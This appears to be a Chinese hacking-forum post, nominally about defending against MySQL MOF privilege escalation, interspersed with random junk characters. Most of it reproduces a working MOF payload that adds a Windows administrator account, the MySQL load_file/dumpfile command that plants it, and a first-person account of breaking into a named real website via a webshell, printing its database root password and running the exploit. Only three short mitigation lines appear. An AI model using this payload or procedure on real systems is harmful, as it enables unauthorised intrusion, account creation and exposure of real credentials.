Mysql mof扩展漏洞防范方法3 O" R. C$ C( F
7 L: |, n+ Q! _
网上公开的一些利用代码:/ N% J+ j) i; l' r; ?
: O/ y' q, Y0 O4 x#pragma namespace(“\\\\.\\root\\subscription”)/ c) o$ e, x- E
) z7 k- T. s9 F0 ?; K
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
4 \4 \/ A# j1 Z# }) I, ?, l O, D: ?+ i5 V0 C+ p
. o3 s* F+ `( G7 N3 l
; C1 O; `! {0 z# f
7 G" s3 Q. ]2 |& ?
" ]4 S2 Q. P: b8 R7 a; }" z连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
7 Z5 W% D& A1 p& P8 ?6 t从上面代码来看得出解决办法:
- c8 [7 a5 f0 v5 J2 N" W# t) ?" x1 D! U* P* V- y
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数& }5 S* D8 y$ r, L; f
+ {' e3 \5 R2 d2 S, C% _( K2、禁止使用”WScript.Shel”组件! }* x( K0 `! J- m M: y
+ T( {0 p) ~/ ?0 e3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER. p$ Q6 x. F$ C) n3 [3 y9 P
6 o9 W6 ?6 z+ u" r当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下% N. j+ Z: t9 o/ `9 w
9 ~% I, l ^ U1 S* T0 x
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
: F" L) U5 o6 b& Q
4 [# q, ^' E4 ]2 z2 z但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
* k- K6 h3 H0 S# F q. i- O4 J1 c, `2 ~# W7 D* L {
看懂了后就开始练手吧
1 b9 }4 }. u$ C, p3 b. m6 {- P( p, p- A& S; |
http://www.webbmw.com/config/config_ucenter.php 一句话 a
. Y3 O8 z: [' O1 k9 m/ K. \. L. a% F' c( c
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
2 n5 ^2 S/ y" ?5 T9 K) S$ g6 u" E ~9 n. E0 G/ F- {+ ]$ ?" X
于是直接用菜刀开搞1 a9 |5 E5 W* `$ v; X; M8 l
, ]: Y: n! d5 I4 N9 K上马先
3 ?) [, D" s/ H) }- c- f5 W, q; e. i# d
9 W/ ~6 J; \' Z* Y' ?' G既然有了那些账号 之类的 于是我们就执行吧……./ h+ E- D! a9 w+ Y
: \# y- t. W- ]- B. u; n) Q8 L小小的说下, ~8 `% x+ O4 J4 _
$ O4 H @2 O! u, |
在这里第1次执行未成功 原因未知
9 `- }; c; v- c
5 Z, t4 P1 _* g! X我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。. l3 q/ X! Z9 n. P& J7 E
. n! H+ r K4 y2 [- q#pragma namespace(“\\\\.\\root\\subscription”)7 Z7 j6 W$ e' Q
# a. y; C! \+ s1 T. e: h/ o) qinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };) N# S4 ]& R& E9 y* {9 ]1 G) ?
1 [0 Z! ^" f. A. A$ H+ {' b我是将文件放到C:\WINDOWS\temp\1.mof
% m% K) a8 e# f' r0 F. _: ? W0 i6 U6 A
所以我们就改下执行的代码
- Q& ]& y$ ]" _# @+ ?0 l. [: p& o5 Y" ?! }
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
' i5 J( J8 q5 O7 c n4 X* n/ G- }( [8 y- m3 [; K
0 D. O+ e6 B0 ]9 o
R4 H q7 I+ O' T但是 你会发现账号还是没有躺在那里。。
$ F: a% _% S8 {1 q6 a) M5 Z3 n
0 B; z& I* g* w* t3 {$ N3 G于是我就感觉蛋疼, z% z2 h) ]9 W& r1 V
+ Q, w3 d) [3 W# b" M4 a- w就去一个一个去执行 但是执行到第2个 mysql时就成功了………
5 X3 P. V; {4 A
5 ^7 k$ ]7 S9 j5 ~/ C* c2 O5 v; J8 G
: P5 A B3 }" a. S
但是其他库均不成功…
! O2 q+ S+ x r! o$ o: r0 o/ s9 g# g6 d' X8 w8 B! n* b3 Y
我就很费解呀 到底为什么不成功求大牛解答…
0 u6 ~3 X" U& V- O! o& I
$ N0 y+ B+ G& |( J+ E* ~ \3 m: @/ W4 ^! K
- Z% c- x, x0 M. \4 X a
|